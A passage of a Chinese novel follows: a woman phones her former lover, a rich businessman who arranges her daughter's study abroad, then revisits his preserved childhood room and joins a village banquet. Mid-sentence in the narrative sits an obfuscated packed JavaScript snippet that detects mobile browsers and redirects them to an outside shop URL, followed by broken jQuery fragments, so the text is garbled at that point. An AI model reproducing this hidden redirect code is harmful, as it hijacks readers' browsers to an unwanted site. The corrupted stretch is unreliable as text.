好在云子并没觉得姑娘感情的表露,他拔通了年轻男人的手提电话,把它递到何穗手中,他朝诗筠看了一眼,起身朝门口走去。
诗筠会意,起身羞怯地朝何穗笑了一下,说了声,“我们先下去了。”
跟着云子后面走了出去。
听到姑娘边往楼梯方向走去边问云子:
“这电话要好几万吧?话费听说也很贵。”
“电话三万来元,话费按分钟算的。具体多少我也不知道。”
……
“何姐你还好吧?”
一个熟悉的久违的声音从电话那头传过来。
现在听到他的声音,听到他的说话。
何穗却用调皮的语气和他说话:
“人很好,只是一天比一天老了。要是你见了我,老得怕是认不出来了。”
“云子前些日子告诉我,老赵半年前跌了一跤,现在怎么样?”
“他是瞎忙的。崴了脚,早就好了。”
“苏姝让她出去留学吧。云子把她的情况告诉了我一些。她学习怎么样?”
“她很用功。她想见你。你什么时候回来?”
她想看看他的眼睛,想要抚摸他的脸庞,还有他魁梧结实的身体。现在让她感到前所未有的渇望。
“你们放寒假,带她和妹妹来大叶来玩。让她们看看北方的雪。”
“她们一定会很高兴。我们怎么感谢你?”
“你有什么事打这个电话给我就是了。我姐在问你,你也很多年没有给她电话了吧?”
“我不知道怎么打国际长途。也不知道往哪儿打。就是打了,也不知道说什么。”
何穗一口气说了“三个不知道”,话语虽然是在为自己找借口,口气明显是在抱怨电话那头这个年轻男人。
她知道这个年轻男人应该听得岀来。
她借此机会向年轻男人发泄心中这么多年的思念引起的爱恨交织的情绪。
“她现在在公司。你还是象以前一样,该说什么就说什么。”
电话那头稍停片刻,男人用缓和的语气说。显然他听出来女人对自己怨恨的情绪。
“你问苏姝,征求她的意见。如果她想去,去哪个国家哪个学校,由她先自己考虑好,到时候根据情况再一起决定。”
年轻男人还是说起女儿留学的事。
上午是一天工作开始的时间,年轻男人忙于自己事业上的事务,没有闲暇的时间可以闲聊,他拣最紧要的话说。
“我们哪里有那么多钱呀。”
女人朝电话里故意拉长声调,很沮丧的口吻说。
“这你不用考虑。你想好了,放假来一趟,和云子一起来。如果要出国留学,现在就得着手准备好。再推迟的话,就有点赶了。”
年轻男人这么一说,女人知道他已经替自己把女儿出国留学的事安排好了,就单等自己的回应。
刹那间,她感觉一种令人颤抖的渴望,同时陶醉与期待重叠在一起,让她心里充满着满满的爱意。此时此刻,她完全可以活生生地体会到接受与年轻男人那种心身相融的幸福感。
现在无法拂去的幻想,在现实中真实地存在,不只是存在记忆中。
女人顿了好一会儿,才想要回答年轻男人的话,然而一开口,竟说出这么一句话来:
“我一会儿去你房间看看。七年了……”
女人这么说,是在向年轻男人暗示着什么。
“你愿意可以在里面住。我们老宅你什么时候去都行。云子跟你说过吧?”
“说过。可我忘了。”
“好了。我就不多说了。你还有什么话说吗?”
“我有很多话,可不知道怎么开口。”
女人这句话说得很快,像是要赶紧去伸手抓住什么。
“我知道了。你和我姐通会话吧。她在公司,刚才我也告诉她了。”
“……还想多说几句!”
“我现在忙。一会儿你让乃子打电话给我。你找个下午或晚上时间打过来——是呀,你家也没装电话。你们下午不会走吧?”
“我们吃了午饭就回去了。你让乃子打电话是他老婆小孩出国的事吧?”
提起乃子,女人想起来他出国的事,问。
“是。他们已经等了三年多了,都是我们老周家的兄弟,过几天让他来大叶办手续。云子还没告诉他吧?”
“我估计乃子一定感动得不行。”
“他不恨我就行。刚才云子说起这个事,那就一并告诉他。”
“噢?是因为我的电话?才告诉乃子的?”
“是的。”
“你真会卖人情……”
女人无法克制住自己激动的心情。年轻男人真会体贴人,瞬间让女人感动得簌簌掉眼泪。
“让他们知道你这个做姐姐的给他们带来了好运气。”
年轻男人在电话那头说。听得出来他愉悦的笑意。
“……我放寒假带苏姝去看你。”
女人勉强把一句话说完,哽哽咽咽地哭泣起来。
“好。一起来吧。还有什么话说吧?”
年轻男人听岀来女人激动的心情,声音很温存地问。
“你忙就算了。”
“那就先挂电话了。”
年轻男人在那头把电话挂了,那头声音戛然而止,似乎远去。
何穗放下电话,顿感身心像是被洗涤过一样清爽,自己仿佛又回到了以前的十八岁。
她认真地揩拭脸上的泪水,把背靠在门板上,百感交集。
何穗去厅堂对乃子说:
“春子让你打电话给他。”
乃子愕然地看着何穗,完全愣住了。
“春子让你打电话给他。”
何穗再重复一遍,伸长手把电话递向乃子。
乃子目不转睛地看着何穗,好消息来得太快,让他感到震惊。待他反应过来,开口便道:
“何姐,你是我的大贵人!你一来我的好事就跟着你来了。”
“是凑巧吧。”
何穗把电话递到乃子手里。
乃子站起身,朝何穗恭恭敬敬地躬身作辑,接过她的电话,二话没说就走了出去。
“何姐,你跟二哥替乃子说了吧?”
祥子问。
“没有。你们二哥问你们,我说你们三个都在。他就说让乃子接电话。就是凑巧吧。”何穗还是这么回答。她没有把女儿苏姝出国留学的事情说出来。
“我去带诗筠老师去他房间看看。”
何穗把扯下来的围巾重新往脸上拉上去说。
“我也去吧。二哥的门打开了?云子也在?”祥子站了起来,跟着她走了出来。
“打开了。云子在房间。”
何穗说,带着祥子往回走。
“你几个哥哥姐姐?”
一入周振春房间,跟着云子身后的诗筠,现在才认真地问了起来。
“二个哥二个姐。我是老幺。”
云子很明确地告诉诗筠。
今天融雪天气,门一打开,湿气就会随风而入。云子先把暖气机电源线插上,把暖气打开,再走到窗前把窗帘拉开。
他告诉姑娘说:
“今天是融雪天,外面的湿气太重,所以不能开窗。”
“嗯。”
姑娘应了一声,开始认真打量起房间来。
撩开的窗帘布中,最外层是一层薄薄的白纱打褶窗帘,里层是淡绿色的厚布帘,在厚布帘外面又搭上一层用来遮荫挡光的暗灰色幔帐。
房间里的物品都是上百年的家具,虽说陈旧,但很结实,可以从每件物品中感受到远古时代岁月里留下的痕迹,让人充满着遐思。现在在这府邸只有周瑞年和年轻男人的房间,按原来的样子完整的保留下来。
也没有让任何人入住进来,门板上自然也没有编号。
房间的布置和摆设与绣楼一样,只是多了两个装书籍的大柜槅。这两个大柜槅,分别摆在两张木板床对门的一边,上下两面槅门各挂着两把老式的青铜锁。透过上一层的槅门小格子间隙,可以看得到里面的书籍都用薄膜袋密封完好保存起来。
“我曾祖父是清代员外,家里办过私学堂,有很多的藏书。老人对我二哥学习抓得很紧。现在我二哥办公室一直供奉我曾祖父的画像。”
云子向姑娘讲述年轻男人在曾祖父悉心的教导下,每天精心细读伏案笔耕,从幼年养成习书好读的习惯,就是现在无论时间如何紧张,不管什么时候,他都会抽出时间,手不释卷。
这些古书成了年轻男人启蒙的教育,使他过早地领悟了人生的真谛,懂得世间万物皆有的因果定律。
他幼年时期少年时代抄写的数以百计的那些经典古文,每次都会在心中默记,以至于在他成年后可以将里面的一些诲人不倦的文句、整篇整段一字不差的背出来。
就是这样的痴迷执着,造就了这位年轻无比罕见的商业奇才。
谁也没想到,当年这个十六岁的孩子,现在主宰着周柯喻三大家族的前途和未来,也直接影响到与周家亲近的人的命运。
外面的阳光把玻璃窗照映得闪闪发亮。隔着玻璃窗映衬在屋子里的阳光,晃晃悠悠的,恍若梦幻。
在这典型的山区阴冷潮湿的环境中,年轻男人房间的物品,都精心地作了防潮防霉防蛀处理:以前的砖石地面在七年前翻修的时候铺了层很厚的沥青混合料,木板墙里层重新刷了水性桐油。
床、桌、柜台、椅凳等都用防护布罩了起来。一些没有上锁的抽屉里面,放着一些年轻男人留下的书、笔记本和相册,也都用透明的薄膜袋密封保存起来。
整个府邸以年轻男人的房子为重要之处。无疑周家已将年轻男人这间房子,作为家族历史上具有意义价值的文化遗产有意识地保护起来,而且保护得也相当讲究。
“这样的柜槅,我家也有。是爷爷上二代祖上打的。一百多年了吧?算起来也够古老的了。”
姑娘被屋子里的一切所吸引,她抚摸着屋子里的柜槅,说。
云子掀开桌子上的防护布,把笔记本和相册从抽屉里的薄膜袋里拿出来。姑娘先打开相册看。第一页是周振春中学生的照片:那时候年轻男人着蓝咔叽学生装,小平头,胸前的口袋插着两支钢笔;眼睛清澈明亮,脸庞俊美清秀,神态温文尔雅。
“我看你哥小时候的照片,像是个女孩。”
姑娘看着相册里面的人物笑了一声,再边翻相页边问云子,
“你呢?”
“后面的这个。”
云子指着相册里面的人物告诉姑娘说,“我都是跟在我二哥后面。”
照片上那时候云子还是个七岁的孩子,胖胖的身子,身穿夏季单衣,坐在凳子上。
二哥周振春站在他身边,靠近庭院的一棵小樟树下。这是他们兄弟俩唯一的一张合影,云子坚持把它留在老宅这里。
他告诉姑娘说:
“我二哥要带去,我不肯。他让人翻拍了几张带去他那儿了。”
“你二哥很喜欢你嘛。”
“那时我大哥在部队,只有跟二哥一起了。我二哥常常说我小时候跟着他的事情,说打也不得骂也不得,很是讨厌我。”
云子像孩子一样地笑了。他又说:
“可我记得我二哥不是这样的。我记得要是出去不在他身边,二哥会到处找我。为什么我的记忆中与他的相反呢?”
“这不假呀。我和我妹妹就是这样子嘛。”
姑娘抿着嘴笑了,
“小的记得好的,大的记得不好的。因为哥哥带弟弟总是天天好,也就不会记在心上;要是弟弟调皮让哥哥恼怒生气就会记得牢。”
“难怪我二哥对我小时候记得很清楚。我小时候长得怎么样,穿了什么衣服他都能够清楚地说出来。”
云子告诉诗筠说。
云子记不清自己小时候的形象,但二哥春子却对他记得历历在目如在眼前。
说到这里,云子有点感动。
“当然啦。就像我记得我妹妹一样嘛,反而是自己身边的人才记得牢。自己肯定记不住自己小时候是什么样子,哪怕就是天天照几遍镜子,也无法记起自己那时的模样。因为小时候是在一天一天地长大,可人总不能看到自己脸的变化。我想有没有什么动物能够看得到自己的脸呢?”
“噢?你这么一说,我终于明白了。我二哥说我小时候的事,我弄不明白也不敢问他。”
云子说到这,像个孩子一样可爱地笑了。
“从小怕到大。你怪可怜的啦。”
姑娘笑着云子打趣地说。在她身边的是周家小儿子,自己家乡蒙县的县长。这么看起来像一个长不大有着孩子一样娃娃相的年轻人,姑娘从一开始始料不及,到知道后的惊讶窘态,再到现在坐在一起相谈甚欢,现在他们之间像是相识多年的老朋友。
他们兄弟一个一个样。云子不愿思想,处世完全凭感觉。
所以他累受上面哥哥姐姐的教训。但与他一起,心无杂念,让人放心。
这时候屋子里暖和了起来,云子把罩在物品上所有的防护布都掀了起来,对姑娘说:
“我会久不久回来住几天。有时候也会让祥子乃子在这屋子里住一二天,通通人气。”
何穗、祥子走到年轻男人房子前,方竹涵看到他们也走了过来。诗筠听到他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199093|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们的说话声,从屋子里面迎出来,她把相机递给云子,告诉他说:
“我和我姐在门口拍张照片。”
何穗与诗筠拍完后,一行人也在年轻男人房子前留影。
大家都进来后,诗筠再拿起相册,把刚才对云子说的话,笑着重复告诉何穗说:
“我看先生小时候的照片,像是个女孩。”
“很多人都这么说。太文静了吧。”
何穗微微笑着说,“一个眉清目秀十几岁男孩子,文文静静地坐在房间看书,说话轻声细语,完全一副优雅的姿态,就差是女孩子花容玉貌的身体了。”
“在古希腊神话里,人类原本是男女同体的,由于神灵的惩罚才将人类分成了两性。我给先生带来了这样的几本书,放在槅柜里。先生也很认同。”
方竹涵接过何穗的话题说。
他曾潜心研究过这个问题,对这方面他有自己独特的见解。
他告诉大家说,
“最优秀的人既有本性别的鲜明特征,又还有另一性别的优点。也其实指的就是一个人同时具备整个人类全方位的能力,而人类本身就是一种是男性的阳刚和一种是女性的阴柔组成,并由此人类社会中统分为男性思维和女性思维,用来统治人类社会历史发展。”
大家屏声息气看着方竹涵把话说完,个个思索起来。对于他们来说,这完全是一个全新的话题,也是思想中的另外一种境界。
方竹涵只是仅仅说说而已,见大家饶有兴致地看着他,就只好把话题说开:
“具有这样男女思维或男女品格的人,眼界会更广,洞察力会更强,能看到单体看不到的很多面,继而他的格局会更大,成就自然也不是一般人所具有的。说白了也就是《易经》的阴阳学说:大自然阴与阳的统一,用阴阳双方的消长转化保持协调,既不过分也不偏衰,呈现着一种和谐协调向前发展状态。这需要花大量的时间和精力去提升自己。先生自小饱读古书,又是在这样的家庭环境下长,有了今天的成功,也是顺应天成。”
“噢?”
何穗浅浅的微笑,她走到书桌前,凝视着相册说,
“我也听人这么说,但没有方先生说得这么透彻,这么夸他,还是头一次听说。真是‘听君一席话,胜读十年书’呀。”
“这么说二哥,我也是头一次听说。”
祥子像是有所感悟似的,他附和着何穗的话,“好像确是这样子的。”
“我二哥知道吗?”
云子懵然地朝方竹涵问。
“我想先生应该知道。”
方竹涵不置可否地笑了笑,回答云子说。
他走到桌子前,翻起放在桌上的笔记本,继续道,
“其实我们每一个人性格上都会有雌雄同体的特征,只是所蕴含的深浅差异不同而已。能够集中男□□秀性格特征的人,就是很优秀的人才,这样的人往往在社会上很容易获得成功,就算不成功,人生的格局也是很好,也会在社会上受到尊重。”
“这让我想起部队里的一句话:‘班长是军中之母’。我当了三年班长,很有体会。也认同男性思维适合解决问题矛盾,女性思维适合处理人际关系。”
祥子好笑地说。
祥子话里当然包括三年前自己妻儿出国和刚刚去接电话即将要出国乃子的妻儿。
年轻男人关心自己的家人和身边的人,善于为他人着想,让祥子他们深受恩赐铭记于心。
何穗看着年轻男人少年俊雅的样子,忍不住也笑开了:
“我们东方智慧是这样形容:男人上年纪后长成了老太太的模样是福相。据说这也是由于东方的表述方式来自于女性温和的思维。”
她轻轻地摩挲年轻男人的照片,笑着继续说,
“绘画的人都知道,刚刚生下来婴幼儿时期的小孩子是没什么单体特征性别之分,完全是一种初入人世的自然状态;到了暮年时候越是上岁数的老人,单体特征性别也是不太怎么分男女,基本上都会是一样的长者温厚慈祥。”
“先生有这方面的笔记。”
方竹涵知道年轻男人记载了有关这方面的阅读笔记。他翻看年轻人的笔记本,很快找到有关雌雄同体阴阳平衡的笔记。
方竹涵回头看着云子对他说:
“先生这里有有关这方面读书的笔记,我读几段让你们听。先生有时会打电话问我,云子有没有看?我只好说你看了。”
“他的字太草。我看不懂。”
云子憨厚地答道。
“你要认真看,多看就能够看得懂了。”
方竹涵对云子说完之后,转回头看着笔记本,开始念了起来:
“但凡优秀的人自成阴阳:心有猛虎,细嗅蔷薇;静如处女,动如脱兔;少一半女人滋润的男人,虽巍峨如山,铁骨铮铮中会少一种情义侠气;少一半男人支撑的女人,虽然温柔袅娜,情思婉转中会缺一种坚贞英姿。
“心理学家认为:在男人伟岸的身躯里,生存着女性阴柔的原型意象;在女人娇柔的灵魂中,也隐藏着男性刚毅的原型意象。
“社会学家认为,一个人人格是否完善高尚,要看他身上能否具备两性的优秀特质,还能自如地切换、融合。”
方竹涵对年轻男人笔记本熟稔于心。他和他夫人已阅过多遍。他们的子女来时,也把书和笔记本拿出来让他们认真阅读。
“何姐,诗筠老师。”乃子在廊道上呼喊。
“二哥的电话,一定得庆贺!今天在冬塘歇夜。我请客。”
乃子兴冲冲地走到何穗面前,双手抱拳于胸前,给报喜人何穗躬身行作缉礼:
“何姐,不知怎么感谢你!”
他施礼之后,伸起腰对何穗说。
“没请假呢?” 何穗说。
“我刚打电话给你们校长了,你们就放心留在冬塘吧。云子也同意了。”
乃子心情激动不已,充满着感恩之情。
“那……?”何穗转过脸望着诗筠。
“正好正好。”姑娘拍着手,高兴得欢天喜地跳了起来。
“你们二哥跟你说了什么?”何穗问。
“又没外人,说说。大家都很想知道。”
祥子催促迟疑不决的乃子道。
“二哥说这二天让我去大叶准备办出国手续。其他没说什么。”
乃子告诉大家说,“过完年就得让他们出去。”乃子说得“他们”是指自己的“妻儿”。
“我一直说,要相信二哥不会不管你的。这下放心了吧。”祥子看着乃子说。
“我先去冬塘看看。你们早点过去吧。”
“好。”祥子应声道。
乃子马上转身走了出去。他得先去冬塘为一行人准备食宿。他把这个电话当作一个值得庆贺的喜讯。
看着乃子离去后,诗筠悄声对着何穗的耳朵说:
“说出国就出国?这也太容易啊。” 她说完,歪了歪脑袋。
“出国算什么。”何穗提高了嗓门回答姑娘。
“人和人真的不一样呀。今天我总算是开眼界了。”
“这还只是在冬塘。”何穗双目凝神,
“你要是在西山、在长河,几百万、几千万的人口,也只能是一个……”
何穗吞吞吐吐,她自己也不知道表达了什么。但姑娘像是明白似的看着她,而且还冲她点了点头。
云子和方竹涵把刚才掀开的防护布重新罩上后,整理好槅柜。是离开的时候了。
何穗突然想起云子说跟雨秀通电话的事情。刚才乃子在与年轻男人通电话的时候,她在心里想,雨秀会在乃子打完电话后给自己打电话。
但现在乃子已经走了好一会儿,也不见雨秀的电话。
“云子,现在打个电话给你雨秀姐吧?”何穗干脆直接问起云子来。
“何姐你不问我,我差点忘了。”云子大大咧咧地说。他像是体谅何穗的心情,再说,“何姐你就在我们屋子里打吧。”
周振春的房间也是云子的房间。这让云子非常引以为荣。他的床与周振春的床对面,中间隔一张书桌。可以这么说,这个弟弟从小到大一直紧跟着在哥哥的身边。 要是人家说这是“春子的房子”的话,他就会补上一句“这是我们的屋子”。
“嗯。”何穗点点头。大家很快收拾好后,一个跟着一个先出去了。云子拔通了雨秀的电话,再递给她。
何穗与周家大儿媳妇雨秀通上电话。
这个经历过无数的风浪过来、心灵手巧温存贤惠、看似外表柔弱,骨子里是刚劲如坚的女人,如今是万柯公司统管数万人的副董事长,主管人事的总经理。
“何穗,你在老家,也有好几年没有去了吧?”
“七年了。”
“你有空得常去,帮我看看房子。我一直不放心我的房子。”电话那头雨秀说到这里,笑了一声,“我还是感觉老家的房子最舒服。”电话那头稍作停顿再说,
“公司现在要推行职业经理人制度,很多培训项目。春子忙,我们跟着他一起忙。春子让你寒假来大叶。我就在大叶等着你。”
“春子说是安排苏姝出国留学的事。我也不知道怎么说好,让春子费那么大的精力,叫我说什么好呢?”
“他会安排我们部门经理去办。让你们来,是拣学校,征求你们的意见。你放寒假没什么事就早一点过来,住我家住公司随你。你家里装部电话吧?我让云子祥子他们替你装。行不?”
“我想等苏姝大学毕业了再装。如果她出国的话,那就真的要装了。可听说电话费很贵呀。”
“……” 电话那头笑了起来。
“你又在笑我了吧?你现在是贵夫人了,以前的周家大太太。”
“等苏姝参加工作就好了。你今晚上在绣楼住吗?”
“我得问问云子才行。我们一会儿去木铺街吃饭。过去的老煤油铺那里,现在是祥子的堂妹芳妹开的酒楼和旅馆。”
雨秀多年未回,何穗把吃饭的地方详细地告诉她。
“你还是在老家绣楼住吧?木铺街太吵。现在的木铺街人太多。”电话那头雨秀说。
“可是我却喜欢热闹的地方。我一个人住有点怕。是怕寂寞吧?”
“你没带个伴吗?”
“带了。带来一个老师。一个刚刚大学毕业的小姑娘,也是个女汉子,喜欢到处跑。 在我们学校当老师。”
“她是什么专业的?”
“美术专业。”
“会英语吧?”
“会。也兼英语老师,上二个班的英语课。”
“你帮我问问她,想不想往外发展。现在春子公司需要招聘有文化会外语的人才。我想如果家乡有的话,从家乡招聘。”
“我行吗?”何穗开玩笑地问。
“你随时可以来。只要你愿意。”
“我老了。也困住了。”
“你老了。我更老了。冬子都谈女朋友了,要是有了小孩的话,我就当奶奶了。何穗,我们说老就老了呀。结婚、生孩子、盼着子女长大,等他们长大,读完大学、参加工作,他们也结婚生子了,才知道自己老了。一生就这样过去了。唉……”
“你这一句话,把我们从姑娘变成了老太婆了。可是又有什么办法呢?人生总不能返老还童再重来一次吧?要是能够那样,我想也没有我的份呀。那肯定得花很多很多的钱。雨秀,你说呢?”
“要是能够那样的话,花再多的钱,我帮你买,再让你变回一个快快活活的大姑娘。”
“我相信!我真不知道怎么感谢你。感谢春子。”
“春子一直把你当作和我和小文一样的亲姐姐。他时常说起你。你知道,春子是个恋旧的人。”
……
两个女人说起来没完没了,好不容易讲完。雨秀从头到尾没有提及过小文,她难道不知道小文回来了吗?即使她不知道,云子也会告诉她的。要是雨秀知道自己和年轻男人有了一个儿子,她会不会像小文一样对自己愤恨?会同样齿冷鄙薄自己?
何穗满腹心思地想。她打开门要出去时,又退了回来,她这才想起自己现在是在年轻男人的房间。
之前从绣楼下来, 踏入年轻男人的房间,也不知为什么,心里反而有一种忘却的感觉。大概是融入了大家欢喜的心情的缘故吧?或者是刚才在绣楼追忆这里过去的事情太多了。
作为一个结过两次的婚,生育过三个孩子的母亲的女人,她记得自己确实在这房间住过一晚,七年前赏枫叶红的秋天,与年轻男人一度春宵,互相缱绻。可是现在一点儿也想不起来,只是模糊的感觉;那天晚上前后的情节消逝得无影无踪,甚至连可供追忆的线索也忆不起来,似乎一切只是存在于梦境中,毫无真实感。
也许是那天晩上过于兴奋,以至于自己总是怀疑是否曾经有过发生的事情。但儿子思塘却是真真实实的存在。
如今虽是镜花水月,并没有常人所说的春梦成空,而是春梦成真。不管是露水之欢还是前世宿缘,她在这里怀孕生下孩子,如今这个孩子已经七岁。
不可否认,如果不是有了儿子思塘,她和年轻男人的关系,和许许多多偷情的女人一样,彼此之间无非就是一次的露水情缘。
女人一直坚信,这是一次奇妙的命运安排。 情份到了这份上,思恋就会从这房间任何一处冒出来。
她再一次退回房间内,隔着防护罩抚摸着床、桌、椅子……这房间每一样东西,所有的物品,都留有年轻男人的气味。抚触这屋子里年轻男人留下的物品,犹如是在抚触年轻男人的身体,每一件物品都是活生生有生命的灵魂。
这只是一个女人和一个男人有了那层亲密的关系,才固有的感情。
人世间更没有什么比睹物思人更能引起人的回忆了。
假如年轻男人在乌浟或者在西山,自己势必会一步步掉入感情的深渊?
可是倘若年轻男人在乌浟或者在西山,肯定不会有今天这样的成就,也就没有所谓的成功。
她不假思索地想,如果自己留在周家府邸,自己的人生将会是怎样的一种景况?
年轻男人将是自己这一生身心的寄托和依靠。女人庆幸与年轻男人的私通,感谢他给她一个儿子,这一定是上天的恩赐和眷顾。
这牛家塆周家府邸是她人生一面多彩的窗口,掀开厚重的帘幔,里面展现在眼前的是纷呈多样的世界,自己似乎介于窗里的廊道和窗外的檐下之间,没有跨入到室内去。
自己的未来是否在这里可以预见?又到底将会是怎样?不得而知。
在快要离开年轻男人的房间时,女人突然从心底泛起情感的波涛,幡然醒悟,原来这周家府邸,本身就是一种诱惑。
10. 第十章
现在的木铺街,人来人往,热闹非凡。春秋时节,甚至到了人声鼎沸喧嚣尘上的地步。比起二十几年前的清寂,完全是另一番景象。
云子一行人从牛家塆度假村出来,祥子把车径直开到一间格调高雅的酒楼门口,让云子何穗诗筠他们下了车,他自己再把车驶离往店铺一侧的小巷停了下来。
这间改为酒楼和旅馆的老店铺,店铺主是祥子的堂姐芳妹。芳妹和丈夫夫妻俩人一边住家的同时,一边经营酒楼和旅馆。
旅馆和酒楼生意红火,请了五个雇工,还是忙不过来。
芳妹早就站在门口恭迎。她并没有像平日里糸着蓝色的长外褂。今天她穿着缎红色的大衣,在脑后挽成一个髻的头发上也是红缎带糸的蝴蝶结。看来她是把今天当作一个喜庆的日子了:是因为周家的小儿子云子有大半年没有来她的酒楼了。
芳妹比云子小一岁,和云子祥子乃子他们小时候一起玩着大,相互之间用不着什么客套话,一见云子,她就嚷嚷道:
“云子哥,你可有大半年没来了。”
“我记得好像没这么久吧?”云子故意这么说。
“中秋节的那一天看到你去了好几家,就没有过来我家里,我们又不好意思请你过来。”芳妹毫不掩饰地说。
“那是替我二哥去送人情的。”
云子也毫不掩饰地说。
周振春交代弟弟,中秋节期间,如果去冬塘的话,除了给周氏家族长辈送礼外,一些春子少年上学时候的老师也要备些礼物送给。今年中秋节期间,云子独自回到冬塘送中秋礼物,也没告诉祥子乃子,他是去西山开会回来。
“芳妹,我看你的眉毛不是你的。”
祥子把车停好后,跟着过来调?着芳妹。芳妹画了眉毛。不单是画了眉毛,也涂了口红。
“什么?我的眉毛不是我的?”
芳妹一时没反应过来。
“不光是眉毛,还有嘴巴也不是。”
祥子还是这么调侃芳妹。
“你净捉弄人嘛。”芳妹这才明白过来祥子是在戏弄她。
这时乃子满脸喜色从里面走出来,他望了望大家,朝云子问道:
“就直接上二楼去吃饭吧?都弄好了。”
“何姐王老师,你们俩个是先去房间放好东西吧?”云子回头看着何穗诗筠问。
“我们先把包放在房间吧。”
何穗回答道。芳妹让一服务员带何穗诗筠去了里面的房间。
“今天晚上还是吃鱼。冬湖里的大草鱼,还有鲢鱼。”乃子对云子说。
“请了陶老师吗?”云子问。
“请了。塆里的瑞金大伯正好来木铺街菊子家,也一并请了。你看还要请谁。”
“算了吧。再请的话就请不清了。都是乡里乡亲的,请了这个没请那个,到时候到处欠人情。”
“是啊。我也是这么想。陶老师是二哥的老师,请他没人会说什么。”
木铺街上的陶希圣老人,是周振春小学一直到初中的语文老师,后来也是云子祥子乃子他们的老师。与周家曾祖父很投缘,经常去牛家塆周家府邸与老人谈古论今,很受周家上下的尊重。在木铺街是个德高望重的人。
周家人在木铺街有吃请,都会请上陶希圣老先生。
云子祥子只顾着和乃子说话,芳妹跟在后面不时的点头答应,和云子祥子上了二楼。
这些格调古朴的木质结构房屋始建于宋代。略矮的墙壁,下半截是青砖,上半截镶的是木板。
木板很墩厚,说是木柱子更恰当些,因为就是一根一根粗硕的木柱子连成一体竖立起来的木板墙。这些房子伸向河面上是一间带葺瓦的小屋顶凉台,凉台的一边放着一个糸着长绳往河里舀水的小木桶。
所有木铺街的房子全部是这样的类型。
一楼虽说是餐厅,其实是从店铺直接连到后面的过厅,过厅两侧并排摆放四张餐桌,直通到河边的吊脚楼。二楼以上的房间才是用来供旅客住宿的旅馆。
二楼旅馆设置二间对着冬河的贵宾餐厅,用来接待至亲好友、招待像云子这样能光顾而来的贵宾。平时这二间贵宾房则接待能出得起价钱有些身份地位的住宿顾客。
有时候祥子乃子带人来冬塘也会在芳妹餐厅吃饭。有牛家塆周氏族亲这层关系,餐厅设置得古朴典雅,遵守顾客至上的规矩,服务也很周到。
云子他们进入餐厅后,陶希圣和瑞金大叔坐在餐桌前等着他。一见云子进来,陶希圣老人就对他说:
“云子,你要是住塆里太寂静的话,就来我家来住,我收拾好二楼一间好屋留给你。”
“那要等我二哥来。”
云子孩童般的嘿嘿笑着回答老人。
“下次春子来,我跟他说。你可得记住了。到时候你还是睡我的脚头。”
老人也开玩笑说。
“好。只要你老人家不怕我打呼噜。”
云子爽朗地说,在老人身边坐了下来。
幼年时,来木铺街玩,遇到不好的雷雨天气,就住在老人家里。那时候云子就和老人搭床睡在他的脚头。
“我现在打雷一样睡,不用操那么多的心。耳朵也不灵了。”
老人耳聪目明,故意把话这么说。
“小时候我们太调皮了,让您老操多了心。我到现在还记得您上课,拿竹片打得乃子的哇啦哇啦嚎哭的样子。”
祥子挨着云子坐下来,接上老人的话,调侃一旁乃子说。
“你记得我不记得了。是打得太多了。当了一辈子的教书匠,除了没打个女儿家,那个男孩儿没挨过打。”老人慢条斯理,故意显得理直气壮地说。
“我记得您老说过,二哥没打过。”
云子笑着说。他端起桌上的茶壶规规矩矩地给老人和瑞顺大叔斟上茶。
“你说起春子来,我不是夸他,我真的没打过他。他书念得比我还好,我怎么打他?”陶希圣老人喝了一口茶,放下茶杯说,
“不但没有打过他,还让他出去玩。当然这只是在学校。去你家,那就不敢了。你老爷爷那才是真正的先生。那个厉害,没人受得了。春子现在出息了,都是你老爷爷的教育,也应了‘名师出高徒’这句老话。”
谈论周家的事情,老人的话题多了起来。
民国时期老人是周家曾祖父的学生。在周家上了四年的私塾初等小学。现在冬塘乡里象陶希圣这一辈有文化的老人,他们小时候,几乎都是在牛家塆私塾学堂启蒙阶段时上过学。
老人继续说出过去的一些源缘:
“清朝民国时代,老员外的文化底蕴总是会盖过你们周家的家业。不过现在就不好说。你父亲和春子俩父子一起的话,别说冬塘了,恐怕省城长河也盛不下了。
“周家过去是正诗书世家,即使新时代后来也不算家道中落,现在你父亲也相当于古时的封疆大臣了。春子更不消说,听说他的地产盖的房子比我们整个冬塘还大。说起来都是俗事,可人这世,谁能够脱得了俗呢?”
这时候,服务员把菜一碗一碗地端了上来。何穗和诗筠放好包也走了进来。芳妹招呼她们依序而坐。
满满的一桌菜:云子喜欢吃冬湖水库里的红烧鱼、鸽子汤蛋、香茹炖鸡、粉丝豆腐煲和冬季的时令蔬菜。每盘菜上都放有红萝卜丝。这雪地里拔出来的红萝卜特别沁香。芳妹还特意用红萝卜丝炒了一大盘。
“芳妹,你也一直辛苦。今天云子来,就坐下来一起吃吧。”老人关心地对芳妹说。
芳妹看上去比她堂兄祥子还要大得多,尽管俩人之间相差五岁大。也许是操劳太多的原因。
“事多操心就多。我看芳妹楼上楼下的忙个不停,也心疼呢。再招多二个人手吧?”
瑞金大叔看着芳妹,也体谅她说。
“多一个人就多一份开支,二个就更加多了。还得腾出一间房子给住,那不是一个月给工资的事情了。”芳妹回答大家。
“是啊,这样一算起来,还是自己苦点累点算了。我那铺子也是这样。”
陶希圣老师家的店铺也改为了旅馆,不过挂的是客栈的牌子。
“老师,那让葛老琴现在过来吧?让他们给您和大叔唱上几段?”
乃子毕恭毕敬地朝老人和瑞金大叔问。
乃子还是请了卖唱的人。本来晚上点唱更能助兴一些,但陶希圣老师晚上不愿再来。他说这样笑笑唱唱的场面不好与年轻人一起凑热闹。乃子和祥子就让芳妹把点唱的改为午饭时间。
“好吧。云子呢?今天招待的客人是你。”
老人转向云子问。
“老师和叔在,现在就让他们给您唱上几段高兴。让他们来吧。”云子说。
……
